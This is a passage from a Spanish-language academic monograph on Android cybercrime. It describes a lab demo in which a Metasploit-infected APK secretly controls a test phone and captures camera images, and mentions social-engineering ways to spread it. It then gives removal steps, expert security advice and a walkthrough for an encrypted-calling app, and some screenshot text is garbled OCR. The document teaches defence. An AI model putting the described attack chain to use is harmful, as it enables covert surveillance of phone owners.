Imagen No. 45. Captura instantanea con la cdmara trasera del dispositivo con el comando webcam_snap.

=] Kali Linuxx [Corriendo] - Oracle VM VirtualBox Eas

4 | Carpeta personal  Documentos  »
pOXoHeZR.jpeg

Propiedades

mafio 2322 x 4128 pixeles
ipo imagen JPEG
rchivo 463,5 kB

pertura /2,2
icion 1/30 seq
ncia focal 4,2 (long. focal)
SO 125
Medicion Center-weighted
average
amara GT-19500

Fecha sab, 29 abril 2017
Hora 16:27:46

]
[\
b1
=
A
r:l.'l
F
<
&
<

«pOXoHeZR jpegs seleccionado (4635 kB)

&P L E @G [ creomeca
Fuente: El autor.

Por medio de Metasploit se pueden realizar mas tipos de ataques a dispositivos
moviles, del mismo modo con la herramienta Meterpreter de Metasploit es posible
ejecutar mas tipos de control remoto a dispositivos que han sido infectados con
archivos de tipo APK, tales como control del audio, grabaciones, llamadas entre
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otras y esto gracias a que los archivos APK (Android Application Package)?® que
son archivos que contienen informacion empaquetada para dispositivos Android,
una vez son explotados ejecutan una codificacion que permite realizar controles
internos dentro de la configuracion de un dispositivo y enviar informacion remota.

Con este archivo APK se logré desasegurar el dispositivo de pruebas y se le crearon
una serie de reglas internas al mismo que le otorgaron permisos de control total al
atacante para que pudiera acceder al mévil por medio de funciones ejecutadas en
segundo plano, es decir sin que la victima se diera cuenta que alguien estaba
usando su teléfono, ya que esto no es visible para el usuario del mévil.

El objetivo de esta simulacion fue lograr conocer de qué maneray con qué propdésito
los Ciberdelincuentes intentan obtener de manera ilegal y abusiva informacién de
tipo privada y confidencial de un usuario cualquiera para poder en algunos casos
extorsionar a cambio de dinero, a sus victimas para no publicar en sus mismas redes
sociales, fotos intimas, informacion comprometedora o en otros casos robar claves
bancarias y extraer dinero. Ahora, es claro que la instalacion de un archivo malicioso
de estas caracteristicas no es una labor que se logre de manera abrupta o con
fuerza bruta (aunque hay técnicas que silo logran), por lo general y como se observo
estos ataques se dieron gracias a que un usuario recibié un archivo en su celular y
decidi6 por su propia cuenta instalarlo.

Para el presente caso el archivo fue pegado directamente desde la consola de Kali
Linux en la memoria interna del dispositivo para efectos demostrativos, pero en la
realidad, este archivo también puede ser enviado via correo electronico desde una
direccion falsa de un amigo, por WhatsApp por un contacto falso, por Facebook o
por cualquier otra red social, con un nombre llamativo, una publicidad atractiva o
una pagina falsa; cualquiera puede caer en el engafio de aceptar el APK y
ejecutarlo, y esto puede ocurrir en una zona WiFi, de un aeropuerto, de un Café o
en la misma casa.

Entonces como se pudo observar el archivo de nombre crucigrama.apk que
posterior a su instalacion y ejecucién se convierte en una aplicacion denominada
Main Activity, puede ser desinstalado y eliminado del dispositivo si se cuenta con
los conocimientos previos, y la disciplina necesaria para proteger un movil; es claro
que la seguridad es facilmente vulnerable pero también hay maneras de complicarle
el acceso a los Ciberdelincuentes y asi como se instala un archivo malicioso asi

% yéase también http://www.androidpit.es/android-para-principiantes-apk
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mismo puede ser eliminado; para el presente caso la manera de eliminar y evitar
este ataque es desinstalar la aplicacion directamente desde el menu de
configuracion del equipo y del mismo modo eliminar el archivo de instalacion
denominado crucigrama.apk, de la siguiente manera:

Imagen No. 46. Desinstalacion de la aplicacién Main Activity.
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Fuente: El autor.

Imagen No. 47. Eliminacion del archivo de instalacién malicioso.
{ @ Administrador de aplicaciones < [l Mis Archivos # < [l Mis Archivos
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Fuente: El autor.
Si se mantiene la costumbre de no aceptar cualquier aplicacién desconocida por

medio de archivos de dudosa reputacion se previene un atague por parte de un
Ciberdelincuente.
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7.3. PRINCIPALES TECNICAS RECOMENDADAS POR EXPERTOS PARA
EVITAR SER VICTIMAS DE ATAQUES EN DISPOSITIVOS ANDROID

Son muchas las recomendaciones y técnicas que expertos en Ciberseguridad,
empresas fabricantes de, celulares y de sistemas operativos, entre otras han
aportado a la sociedad para generar prevencion y evitar que sean victimas de
cibercriminales que se apoderen de sus datos personales y/o les afecten en su
diario vivir; claramente en la presente monografia se ha evidenciado que el
porcentaje de vulnerabilidad que presenta una persona que utiliza un dispositivo con
S.0. Android es bastante alto.

Es por ello que a continuacibn se plasman de manera puntual algunas
recomendaciones que expertos en Ciberseguridad han realizado con base en su
experiencia y conocimiento y que son de gran utilidad y aplicabilidad en un mundo
en el cual no se acostumbra a tener una cultura de la proteccion de los datos. Del
mismo modo se plantea el uso de algunas aplicaciones muy utiles

7.3.1. PRIMERA RECOMENDACION TECNICA: COMO PROTEGER UN MOVIL
ANDROID DEL ATAQUE DE UN VIRUS

Es muy importante conocer el ambito en el cual se mueven los cibercriminales, la
experta en temas de seguridad informatica del banco BBVA Ana Gémez Blanco
quien trabaja como Global Cybersecurity Awareness en esa entidad, hace
frecuentemente recomendaciones al respecto y en algunos de sus blogs aporta
sugerencias para seguridad en Android.

Los malware y virus informéticos méviles son cada vez mas frecuentes y nuevos en
su forma de ser combatidos y éstos pueden ser adquiridos ya sea en la descarga
de alguna aplicacion o a través de algun mensaje circulando por cualquiera de las
redes que se tienen instaladas en el dispositivo. En este sentido la forma de
propagacion provoca que los virus viajen de movil a movil de forma rapida lo que
hace necesario el no confiar en cualquier enlace, foto, o documento sospechoso
gue llegue por estos medios.

Una de las estafas y atagues mas conocidos es el ‘phishing’, la estrategia como ya
es conocida, consiste en suplantar la identidad de webs oficiales en los que el
gancho suele ser super descuentos o suscripciones gratuitas a Netflix, entre otras
pero que en realidad se trata de estafas virales cuya finalidad es generar
suscripciones de pago a servicios PREMIUM de forma fraudulenta. Ademas, este
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tipo de fraude esta disefiado para que el usuario infectado comparta, sin querer, a
todos sus contactos la URL que contiene el virus. Algo involuntario que no evita que
toda su agenda reciba dicha comunicacién maliciosa.

Esto es muy comun, pero para evitar y frenar estas suscripciones involuntarias es
importante tener maxima precaucion ante este tipo de propuestas tentadoras, por lo
cual, y para mayor seguridad indica la experta, es importante también contactar con
la compaiiia telefénica donde se tiene el plan y cancelar los servicios de tarificacion
adicional que no se han adquirido. Otra situacion de malware en Android es que las
aplicaciones pueden introducir virus en los dispositivos ocasionando inconvenientes
a sus propietarios, como el robo de informacién o contaminacién de anuncios que
invaden el terminal y a veces dejan inservible el dispositivo.

Indica la experta lo que ya es conocido por mucho, lo cual es para tener en cuenta
y es que, una de las caracteristicas de Android es que es posible descargar e
instalar aplicaciones desde fuera de los canales oficiales, como Google Play, lo que
supone un riesgo adicional para el dispositivo y por esta razén, es importante prestar
atencién a cada aplicacion, y descargar aplicaciones solo de canales oficiales, como
Play Store, fuentes y desarrolladores de confianza, para el caso bancario usar
aplicaciones de la fuente oficial como la app de BBVA y revisar los comentarios de
los que ya la han usado y descargado estas aplicaciones.

Aunado a lo anterior es importante revisar los permisos que requiere una aplicacion;
es necesario comprobar si son importantes para su funcionalidad, si resultan
excesivos se deberia evitar instalarla, seguro que hay otra alternativa que requiera
solo los permisos necesarios, sobre todo en aquellas aplicaciones que no lo
requieren, pero aun asi lo solicitan.

Indica la experta la importancia de utilizar una ‘herramienta lupa’ para revisar las
aplicaciones que se tienen en el dispositivo Android como por ejemplo CONAN,
desarrollada por la empresa INCIBE que permite identificar las aplicaciones
potencialmente peligrosas, conocer el grado de actualizacion y revisar los permisos
otorgados en las mismas; coadyuvando con esto no se debe dejar de lado instalar
un antivirus en el terminal, ya sea gratuito o de pago. En la pagina oficial de la OSI
(Oficina de Seguridad del Internauta) existen diferentes opciones de antivirus
validados por este organismo.

Como se puede observar es muy importante como recomendacion utilizar
aplicaciones seguras y de fabricantes conocidos, es muy comun y sobre todo en las
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aplicaciones bancarias que exista la suplantacion de identidad, porque el activo por
el cual los cibercriminales van, primordialmente es el dinero y al igual que en la vida
‘offline’, el sentido comuin y la desconfianza ante lo desconocido, extrafio o
demasiado bueno para ser real es necesario y no esta demas.?’

7.3.2. SEGUNDA RECOMENDACION TECNICA: CONSEJOS PARA MEJORAR
LA SEGURIDAD DE ANDROID

Enrique Pérez es un editor del portal web de Espafia denominado el Androide Libre,
es un experto y apasionado entre otros temas por todo lo concerniente a proteccion
de informaciéon para dispositivos Android; a continuacion, se plasman algunas
recomendaciones que hace en materia de proteccién informatica con estos
dispositivos.

Y es que el uso de Smartphones es cada vez mas frecuente y con el paso del tiempo
se guarda mucha informacién sensible e importante en ellos, razén por la cual
menciona el experto es muy importante proteger la seguridad de los Android.

e Como primera medida se debe descargar Apps solo de Google Play: Son
muchas las formas que hay para acceder a la privacidad de un dispositivo
movil, a pesar que Google trabaja para que Android sea un sistema seguro,
la verdad es que muchas situaciones quedan fuera de su responsabilidad, en
ese entendido una gran cantidad de malware viene de origenes
desconocidos sin contar que en Android se tiene acceso a modo root y
muchas maneras de instalar APKs.

En este sentido indica el experto es importante conocer que para instalar
aplicaciones seguras la ruta en el dispositivo Android es, ajustes, seguridad,
desactivar la casilla de ‘fuentes desconocidas’ y marca también la casilla de
‘Verificar aplicaciones’.

e Creary utilizar contrasefias seguras: Los datos para crear contrasefias deben
evitar datos como ‘12345’, el nombre, la fecha de nacimiento o utilizar
cualquier contrasefia que se pueda adivinar facilmente, por ello es
recomendable las combinaciones de letras mayudsculas, nimeros y simbolos;
del mismo modo, es recomendable cambiar con frecuencia el patron de
desbloqueo del teléfono. La ruta para lo anterior es, ajustes, seguridad,

27 Tomado de la URL https://www.bbva.com/es/proteger-movil-android-ataque-virus-2/
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seleccionar Bloqueo de pantalla y alli elegir la contrasefia, luego ir a ajustes,
seguridad y desactivar también la casilla de contrasefias visibles.

e Encriptar los datos: El S.O. Android 5.0 Lollipop viene cifrado de fabrica
especificamente para los dispositivos como el Nexus 6 o Nexus 9, pero los
Android de versiones 4.4 KitKat o anteriores también pueden activar el
cifrado, para ello se debe ir a ajustes, seguridad, cifrado y elegir ‘Cifrar
dispositivo’ y ‘cifrar tarjeta SD externa’, esto tiene un problema, y es que
reduce la velocidad de lectura pero por otro lado nadie podra acceder al
contenido en caso que se roben el movil o que se pierda.

e Permisos de las aplicaciones: Es importante verificar al momento de
descargar una aplicacion los permisos para que esta pueda solicitar para
acceder a muchos componentes del teléfono, ya sea el WiFi, las llamadas,
los contactos, entre otros ya que esto es algo delicado, por ello es importante
vigilar cuéles pide cada aplicacion. Para el caso de un juego, si este llega a
pedir acceso a los contactos puede ser normal porque querrd saber qué
amigos juegan, pero si una app de linterna los pide es algo bastante
sospechoso. Es importarte controlar y averiguar para qué se utilizan,
precisamente por eso en Google Play se tiene la opcién de ‘Ver Permisos’,
para ello se debe ir a Ajustes de Google, aplicaciones activadas y alli
seleccionar esta opcion.

e Conexiones WiFi: Las conexiones WiFi son un canal muy comun utilizado por
los ciberdelincuentes para robar la informacién, sobre todo cuando se tratan
de redes publicas (aeropuertos, centros comerciales etc.) desactivar la
conexion automatica es una buena medida para empezar. ¢ CoOmo se hace?
Facil. Se debe ir a Ajustes, conexiones inaldmbricas, redes, ajustes
avanzados y desactivar la casilla de ‘buscar redes siempre’, es algo
sencillo?.

Como puede denotarse la coincidencia de recomendacién de un par de expertos
recae en el uso de aplicaciones seguras, a decir verdad, la puerta de entrada de un
Ciberdelincuente se hace por medio de una aplicacién sospechosa, que traducida
en lo que ya se ha hablado en este documento no es mas que un malware gque se
apodera silenciosamente del dispositivo y en un segundo plano extrae todo lo que
se le permita extraer o que no haya sido asegurado que por lo general es todo.

28 Tomado de la URL, https://elandroidelibre.elespanol.com/2014/12/10-sencillos-consejos-para-mejorar-la-seguridad-de-tu-
android.html
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7.3.3. APLICACIONES ELABORADAS POR EXPERTOS PARA PREVENCION
DE ATAQUES A DISPOSITIVOS ANDROID

Son varias las herramientas y aplicaciones utilizadas en seguridad informética movil,
algunas de ellas tienen gran utilidad a nivel corporativo, pero la verdad es que sea
para una organizacion o para un usuario final, la seguridad de un dispositivo movil
siempre sera una responsabilidad individual.

Es poco lo que se conoce en materia de recursos en seguridad de las
comunicaciones empresariales en el territorio nacional, en esta materia, a veces por
el desconocimiento o por el poco interés al respecto ya que la mayor inversion, se
realiza a la planta tecnoldgica computacional como ya se menciond y esto es comun
en las empresas y en las personas. Para el presente caso se toma como
herramienta de interés la encriptacion de comunicaciones mdéviles tipo PKI que se
sugiere seran de interés y gran importancia dentro de una comparfia o para
cualquier usuario final.

Una aplicacion que usa herramientas de encriptacién es una aplicacion movil
denominada RedPhone; esta es una aplicacion gratuita disponible para dispositivos
con sistema operativo Android que funciona como cualquier otra aplicacion, pero en
la cual se demanda que tanto el emisor como el receptor para poder realizar una
llamada telefénica, deben ambos tener la aplicacion instalada y configurada en sus
terminales moviles, esto implica que para el caso de una compafiia se propende
gue en la adquisicion de sus teléfonos maviles corporativos se realice la instalacion
de esta aplicacion y sea de estricto y obligatorio uso para todos los funcionarios de
la compafia, o se sugiere que para un usuario final no corporativo piense en la
importancia de instalar esta aplicacién para blindar sus llamadas telefénicas.

RedPhone funciona encriptando las comunicaciones entre los terminales, es decir
una llamada telefénica es convertida en un texto cifrado el cual se transporta como
un dato por medio de la red celular y llega a la otra terminal y la aplicacion del
destinatario se encarga de des encriptarla para conocer el mensaje enviado; esto
ocurre de manera transparente para los usuarios de la aplicacién quienes realizan
la llamada de manera normal solo que utilizando una aplicacién diferente a la del
teléfono. Esta aplicacion ofrece una proteccion o blindaje para todas las
comunicaciones inaldmbricas corporativas ya que no solamente protege las
conversaciones que se realizan por la aplicacion si no que impide que cualquier tipo
de intrusion pueda afectar la red corporativa; es bien sabido que por medio de BTS
falsas es posible interceptar las comunicaciones de un dispositivo mévil y lograr
tener acceso no solo a la informacion de fabrica del aparato sino también a toda la
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informacion que tenga almacenada en sus memorias.

Ahora, a continuacion, se muestra de manera grafica el paso a paso para mostrar
la manera en que se debe instalar y configurar la aplicacion; inicialmente se debe ir

a la Play Store y buscarla por el nombre y luego continuar los pasos descritos en
las imagenes 48 a 54.

Imagen No. 48. Ubicacién de la aplicacién PKI RedPhone en la Play Store.
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Como se muestra en la figura 48, inicialmente se hace la ubicacién de la aplicacién
en la tienda de Google o Play Store, para identificar que corresponda a la aplicacién
que aqui se sugiere es decir The Red Phone.
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Imagen No. 49 Instalacién de la apllca(:lon PKI Redpho
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Al dar click en la aplicacion se despliega el acceso a los cuales podra tener la
aplicacion en el dispositivo, a los cuales se les dara la aceptacion ya que la misma
trabajard en segundo plano a efectos de brindar una proteccién en la utilidad que
dispone, tal y como se muestra en la imagen 49.

Imagen No. 50 Instalacién de la apllca(:lon PKI Redphone desde la Play Store.
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Cbomo se observa en la anterior imagen el tamafio de la aplicacion instalada en el
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dispositivo es de 11.29 MB y una vez instalada se ubica en el sistema de
aplicaciones del S.O., Android.

Imagen No. 51 Aplicacion PKI Redphone correctamente instalada en el dispositivo movil.
Pl O NEF e O T .23l 10:49 PM

Fuente: Celular del autor

Cuando la aplicacién queda finalmente instalada se crea un acceso directo o icono
en el escritorio del dispositivo mévil como se observa en la figura 51, y al dar click
se abre la aplicacidbn mostrando la apariencia de un teclado telefénico.

Imagen No. 52 Configuracion de la aplicacién PKI Redphone en el dispositivo movil.
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Posteriormente se hace la configuracion directamente desde el menu de
configuracion como se observa en la imagen 24 desde donde se le dan los
parametros de uso y si se desea se le ingresan los datos para activacion de cuenta
tipo SIP como se observa en la imagen 53.

Imagen No. 53 Configuracion de la aplicacién PKI Redphone en el dispositivo mévil.
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Desde el menu de configuracidén se observa el tipo de llamada, la velocidad y otros
pardmetros técnicos que tiene para establecer comunicacion.

Imagen No. 54 Configuracion de la aplicacién PKI Redphone en el dispositivo movil
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Finalmente, cuando la aplicacion queda correctamente instalada se observa en el
menu de notificaciones del Smartphone, que la aplicacion estd en modo Started es
decir activa; esto se puede observar en la imagen 54. De otra parte, esta aplicacion
permite agregar contactos para ser guardados en el celular entre otras funciones de
tipo telefénico que son para comunicacion.

Como ya se menciond una de las grandes ventajas de esta aplicacion es que

mantiene el nivel de encriptacion de las comunicaciones durante la transmision
brindando un gran nivel de seguridad de extremo a extremo.
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8. CONCLUSIONES

Con el desarrollo del presente estudio monografico se ha podido dar un
acercamiento de manera implicita a la definicion o concepto de lo que significa la
seguridad informatica movil, orientada a aquellos dispositivos con sistema operativo
Android obviamente, y esta definicion se logra gracias a la necesidad de involucrar
a estos terminales dentro de todo el campo de la Ciberseguridad, no por parte de
los expertos solamente ya que ciertamente desde hace mucho tiempo se ha
trabajado en pro de la proteccion informatica moévil por parte de los expertos, si no
también y sobre todo por parte de los usuarios finales que en Udltimas son las
victimas o beneficiarios dentro del mundo digital a quienes se les comparte la
importancia de crear una cultura de proteccion de los datos para todos sus
dispositivos méviles que utilicen un sistema operativo Android.

Al desarrollar el presente estudio monografico se ha podido encontrar que las
técnicas y metodologias de proteccion de los datos presentes en dispositivos
moviles, cuando son aplicadas de manera correcta y sobre todo oportuna,
proporcionan un verdadero nivel de seguridad que si bien no es garantia
permanente de inmunidad ante cualquier ataque malicioso, por lo menos cierra el
espectro y aumenta el porcentaje de probabilidad que una amenaza cualquiera
fracase en un dispositivo con S.O. Android; razon por la cual es necesario conocer
las técnicas y metodologias de proteccion y hacerlas publicas a un gran niamero de
usuarios del sistema operativo Android, en primer lugar porque ésta es la plataforma
tecnoldgica mas utilizada en terminales moviles en el mundo y en segundo lugar
porque de esta manera se extiende la cultura de la seguridad informatica mavil.

Se ha podido corroborar que la mayoria de las personas y usuarios de dispositivos
con S.O. Android e incluso de cualquier otro tipo de sistema operativo movil, son
susceptibles de ser engafiados por medio de publicidad engafiosa, paginas falsas,
aplicaciones de origen desconocido y enlaces de dudosa reputacion y esto sucede
gracias a una caracteristica humana denominada, la curiosidad, la cual conduce a
las personas a querer saber que hay detras de una publicidad que por lo general
contiene la palabra gratis. Esta caracteristica humana es un punto a favor que los
Ciberdelincuentes han aprovechado muy bien desde hace mucho tiempo logrando
casi inhibir el raciocinio de casi cualquier usuario que por lo general pudiera ser un
comprador con tendencia compulsiva pero que efectivamente no ha adoptado una
cultura de seguridad informatica mavil.
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Las herramientas de seguridad moévil como las aplicaciones que se instalan para
asegurar la informacion revierten mucha importancia para la proteccion de la
informacion en dispositivos con S.O. Android, por lo cual el desconocer la
funcionalidad y aplicabilidad de éstas es un riesgo que a futuro se puede convertir
en un fallo de seguridad. Aplicaciones como Latch o Red Phone ya mencionadas
en el presente documento u otras como CONAN, son apps que le imprimen si
ningun desgaste, gran proteccion a todos los datos que viajan o se guardan en el
dispositivo.

Por mencionar alguna situacion, cuando un criminal tiene oportunidad de hurtarse
un aparato que por descuido esta desblogueado, para un usuario que ha instalado
Latch muy probablemente no le surgird mas preocupacion que el costo del mismo
ya que aunque el dispositivo se encuentra sin patron de seguridad, Latch hace que
para ingresar a cualquier aplicacion o a todos los iconos del dispositivo si asi se
desea, primero se deba autenticar con doble codigo en algunos casos para acceder
a la App, algo que es muy Uutil para aquellos que acostumbran a realizar
transacciones monetarias con aplicaciones moviles.
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9. DIVULGACION

El desarrollo del presente proyecto esta estipulado para que sea publicado por parte
de la universidad en el repositorio institucional para su consulta por parte de la
comunidad académica, tanto de la UNAD como de aquellas personas y entidades
gue por medio de este convenio tengan acceso a esta informacion académica.
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ANEXOS

ANEXO A: RESUMEN ANALITICO RAE

TITULO RESUMEN ANALITICO RAE ESTUDIO
MONOGRAFICO ACERCA DEL CIBERCRIMEN EN
DISPOSITIVOS MOVILES CON S.0. ANDROID
AUTOR JOSE JAIR MACIAS CANO

PALABRAS CLAVES

Cibercrimen, Sistema Operativo, Malware, Metasploit,
Hacker, Informatica Forense, Android, Linux, Kali Linux,
Caodigo Malicioso, Red LAN, Dispositivo Movil y Exploit.

DESCRIPCION

El presente trabajo es un estudio de tipo monografico en
el cual se presenta de manera detallada un estudio
practico sobre los ataques que se pueden presentar a un
dispositivo Android y de qué manera se puede evitar.
Este estudio monografico se realiza como opcion de
grado y asi obtener el titulo de especialista en seguridad
informatica en la Universidad Nacional Abierta y a
Distancia UNAD.
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CONTENIDO

Se realizé un estudio monografico acerca del cibercrimen
en dispositivos moviles con sistema operativo Android
esto permiti6 conocer y describir algunas técnicas y
métodos utilizados por Ciberdelincuentes para infiltrarse
en este tipo de dispositivos con lo cual se propende
generar conciencia y prevencion respecto de los ataques
mas frecuentes a estos aparatos. De qué manera; al
identificar las metodologias y técnicas utilizadas en
ataques a dispositivos moéviles, se logra describir
mediante informatica forense algunos ataques
realizados a dispositivos Android, y con una guia de
técnicas recomendadas por expertos para evitar ser
victimas de ataques en dispositivos Android se socializa
a la comunidad en general.

METODOLOGIA

El presente estudio monografico fue realizado mediante
una investigacion de tipo cientifica en la cual se utilizaron
algunos conceptos y herramientas de informatica forense
dentro de un contexto de seguridad informatica mévil,
para desarrollar de manera practica las metodologias
que llevaron a la elaboracion de los resultados
materializados en recomendaciones que pueden evitar a
una persona ser victima de un ciberatague a su
dispositivo Android.

CONCLUSIONES

Con el desarrollo del presente estudio monogréfico se ha
podido dar un acercamiento de manera implicita a la
definiciébn o concepto de lo que significa la seguridad
informatica movil, orientada a aquellos dispositivos con
sistema operativo Android obviamente, y esta definicion
se logra gracias a la necesidad de involucrar a estos
terminales dentro de todo el campo de la Ciberseguridad,
no por parte de los expertos solamente ya que
ciertamente desde hace mucho tiempo se ha trabajado
en pro de la proteccion informatica mévil por parte de los
expertos, si no también y sobre todo por parte de los
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usuarios finales que en ultimas son las victimas o
beneficiarios dentro del mundo digital a quienes se les
comparte la importancia de crear una cultura de
proteccion de los datos para todos sus dispositivos
moviles que utilicen un sistema operativo Android.

Al desarrollar el presente estudio monografico se ha
podido encontrar que las técnicas y metodologias de
proteccion de los datos presentes en dispositivos
moviles, cuando son aplicadas de manera correcta y
sobre todo oportuna, proporcionan un verdadero nivel de
seguridad que si bien no es garantia permanente de
inmunidad ante cualquier ataque malicioso, por lo menos
cierra el espectro y aumenta el porcentaje de
probabilidad que una amenaza cualquiera fracase en un
dispositivo con S.O. Android; razén por la cual es
necesario conocer las técnicas y metodologias de
proteccion y hacerlas publicas a un gran namero de
usuarios del sistema operativo Android, en primer lugar
porque ésta es la plataforma tecnolégica méas utilizada
en terminales maviles en el mundo y en segundo lugar
porque de esta manera se extiende la cultura de la
seguridad informatica movil.

RECOMENDACIONES

El desarrollo del presente proyecto esta estipulado para
que sea publicado por parte de la universidad en el
repositorio institucional para su consulta por parte de la
comunidad académica, tanto de la UNAD como de
aguellas personas y entidades que por medio de este
convenio tengan acceso a esta informacién académica.
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